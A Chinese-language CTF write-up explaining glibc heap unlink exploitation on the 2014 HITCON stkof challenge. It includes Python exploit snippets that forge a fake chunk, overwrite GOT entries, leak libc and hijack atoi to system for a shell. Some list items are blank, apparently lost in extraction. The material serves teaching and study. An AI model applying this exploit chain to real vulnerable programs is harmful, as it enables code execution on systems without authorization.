在CTF竞赛和二进制安全研究中,堆漏洞利用始终是最具挑战性的领域之一。本文将深入探讨如何通过unlink技术实现无输出程序中的任意地址写与GOT劫持,以2014 HITCON stkof赛题为例,构建完整的攻击链条。
stkof是一个模拟内存管理的程序,主要提供三个核心功能:
程序使用全局数组s来记录每个堆块的数据指针,索引从1开始。关键漏洞出现在编辑功能中——程序允许向堆块写入任意长度的数据,而未对写入大小进行校验,导致堆溢出漏洞。
程序启用了以下保护措施:
值得注意的是程序没有输出功能,这增加了利用难度,传统的信息泄露手段无法直接使用。
在glibc的内存管理中,free chunk通过双向链表组织。当释放一个chunk时,glibc会检查相邻chunk是否也是free状态,如果是则进行合并操作。合并过程中会调用unlink宏将chunk从链表中移除。
unlink宏的核心操作如下:
c复制#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
}
}
要成功利用unlink需要满足以下条件:
关键检查包括:
FD->bk == PBK->fd == Pprev_size等于当前chunk的sizePREV_INUSE位为0通过堆溢出覆盖相邻chunk的元数据,构造一个看似合法的fake chunk。当程序释放相邻chunk时,会误认为fake chunk是free状态而触发unlink操作。精心构造的fd/bk指针可以实现任意地址写。
首先分配三个chunk:
python复制alloc(0x100) # chunk1 (将被忽略)
alloc(0x30) # chunk2 (用于溢出)
alloc(0x80) # chunk3 (目标chunk)
在chunk2中构造fake chunk:
python复制fake_chunk = p64(0) + p64(0x20) # prev_size和size
fake_chunk += p64(head - 0x8) + p64(head) # fd和bk
fake_chunk += p64(0x20) # next chunk的prev_size
fake_chunk = fake_chunk.ljust(0x30, 'a')
fake_chunk += p64(0x30) + p64(0x90) # 覆盖chunk3的元数据
释放chunk3触发unlink操作:
python复制free(3)
unlink执行后,全局数组s中chunk2的指针将被修改为&s[2]-0x18,实现了"写全局变量"的效果。
修改全局数组使其指向关键GOT表:
python复制payload = 'a'*8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)
将free@got改为puts@plt实现信息泄露:
python复制edit(0, p64(elf.plt['puts']))
free(1) # 实际调用puts(puts@got)
计算libc基址并获取system地址:
python复制puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
最后劫持atoi@got为system:
python复制edit(2, p64(system_addr))
p.sendline('/bin/sh\x00') # 触发system("/bin/sh")
现代glibc版本已对unlink加入了更严格的检查,但了解传统unlink技术仍有价值:
新增检查:
corrupted size vs. prev_size检查替代技术:
利用条件强化:
在实际漏洞利用中,unlink技术常与其他技术组合使用。理解其原理有助于分析更复杂的堆利用场景。